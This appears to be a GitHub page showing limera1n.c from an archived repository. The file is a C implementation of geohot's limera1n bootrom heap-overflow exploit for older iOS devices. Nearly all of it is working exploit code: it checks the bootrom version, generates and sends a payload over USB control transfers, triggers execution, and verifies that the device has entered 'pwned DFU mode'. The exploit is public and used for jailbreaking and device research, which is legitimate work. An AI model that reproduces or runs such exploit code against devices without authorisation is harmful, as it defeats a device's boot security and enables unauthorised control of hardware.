This repository has been archived by the owner on May 14, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 25
/
limera1n.c
190 lines (163 loc) · 5.43 KB
/
limera1n.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
/*
* limera1n.c
* copyright (C) 2020/01/22 dora2ios
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ircv.h>
#include <limera1n.h>
static int empty(void){
return 0;
}
#ifdef HAVE_DEBUG
#define DEBUG_(...) printf(__VA_ARGS__)
#else
#define DEBUG_(...) empty()
#endif
// usb
static int send_data(irecv_client_t client, unsigned char* data, size_t size){
return irecv_usb_control_transfer(client, 0x21, 1, 0, 0, data, size, 100);
}
int i3gs_bootrom(const struct irecv_device_info *devinfo) {
if (devinfo) {
int i3gs = strcasecmp(devinfo->srtg, "iBoot-359.3");
if(i3gs == 0) {
return 0; // oldBR
}
return 1; // newBR
}
printf("\x1b[31mERROR: Failed to get device info.\x1b[39m\n");
return -1;
}
// payload
int limera1n_exploit(irecv_client_t client, irecv_device_t device_info, const struct irecv_device_info *info) {
#ifdef HAVE_DEBUG
printf("\x1b[1m** \x1b[31mexploiting with limera1n\x1b[39;0m\n");
printf("\x1b[1m***\x1b[0m based on limera1n exploit (heap overflow) by geohot\n");
#else
printf("\x1b[1m\x1b[31mexploiting with limera1n\x1b[39;0m\n");
printf("\x1b[1m*\x1b[0m based on limera1n exploit (heap overflow) by geohot\n");
#endif
info = irecv_get_device_info(client);
char* pwnd_str = strstr(info->serial_string, "PWND:[");
if(pwnd_str) {
printf("\x1b[31mDevice already in pwned DFU mode.\x1b[39m\n");
irecv_close(client);
return -1;
}
unsigned char *payload;
size_t payload_len;
unsigned char assert[1];
unsigned char buf[0x800];
memset(buf, 'A', 0x800);
int r;
int rom;
if(info->cpid == 0x8920){
DEBUG_("\x1b[34mDetected iPhone 3GS. Checking the Bootrom version.\x1b[39m\n");
rom = i3gs_bootrom(info); // 0:old, 1:new
if(rom == -1){
printf("\x1b[31mERROR: Failed to check bootrom version\x1b[39m\n");
return -1;
}
if(rom == 0){
DEBUG_("Bootrom: \x1b[1mold\x1b[0m\n");
}
if(rom == 1){
DEBUG_("Bootrom: new\n");
}
}
if(info->cpid != 0x8920){
rom = 2;
}
if(info->cpid == -1){
printf("\x1b[31mERROR: Failed to get device infomation.\x1b[39m\n");
return -1;
}
r = gen_limera1n(info->cpid, rom, &payload, &payload_len);
if(r == -1) {
printf("\x1b[31mERROR: Failed to generate payload.\x1b[39m\n");
irecv_close(client);
return -1;
}
DEBUG_("\x1b[36mSending exploit payload\x1b[39m\n");
r = send_data(client, payload, payload_len);
if(r != payload_len){
printf("\x1b[31mERROR: Failed to send payload.\x1b[39m\n");
irecv_close(client);
return -1;
}
DEBUG_("\x1b[36mSending fake data\x1b[39m\n");
r = irecv_usb_control_transfer(client, 0xA1, 1, 0, 0, assert, 1, 100);
if(r != 1){
printf("\x1b[31mERROR: Exploit failed! device is NOT in pwned DFU mode.\x1b[39m\n");
irecv_close(client);
return -1;
}
r = irecv_usb_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);
if(r != IRECV_E_TIMEOUT){
printf("\x1b[31mERROR: Failed to send buf.\x1b[39m\n");
irecv_close(client);
return -1;
}
DEBUG_("\x1b[36mExecuting exploit\x1b[39m\n");
r = irecv_usb_control_transfer(client, 0x21, 2, 0, 0, NULL, 0, 100);
if(r != IRECV_E_TIMEOUT){
printf("\x1b[31mERROR: Failed to execute exploit.\x1b[39m\n");
irecv_close(client);
return -1;
}
irecv_reset(client);
DEBUG_("\x1b[36mReconnecting to device\x1b[39m\n");
irecv_close(client);
client = NULL;
irecv_open_with_ecid_and_attempts(&client, 0, 5);
if(!client) {
printf("\x1b[31mERROR: Failed to reconnect to device.\x1b[39m\n");
irecv_close(client);
return -1;
}
r = irecv_finish_transfer(client);
if(r != 0){
printf("\x1b[31mERROR: Failed to finish transfer.\x1b[39m\n");
irecv_close(client);
return -1;
}
DEBUG_("\x1b[36mExploit sent\x1b[39m\n");
DEBUG_("\x1b[36mReconnecting to device\x1b[39m\n");
irecv_close(client);
client = NULL;
irecv_open_with_ecid_and_attempts(&client, 0, 5);
if(!client) {
printf("\x1b[31mERROR: Failed to reconnect to device.\x1b[39m\n");
irecv_close(client);
return -1;
}
free(payload);
info = irecv_get_device_info(client);
pwnd_str = strstr(info->serial_string, "PWND:[");
if(!pwnd_str) {
printf("\x1b[31mERROR: Device not in pwned DFU mode.\x1b[39m\n");
irecv_close(client);
return -1;
}
printf("\x1b[31;1mDevice is now in pwned DFU mode!\x1b[39;0m\n");
irecv_close(client);
return 0;
}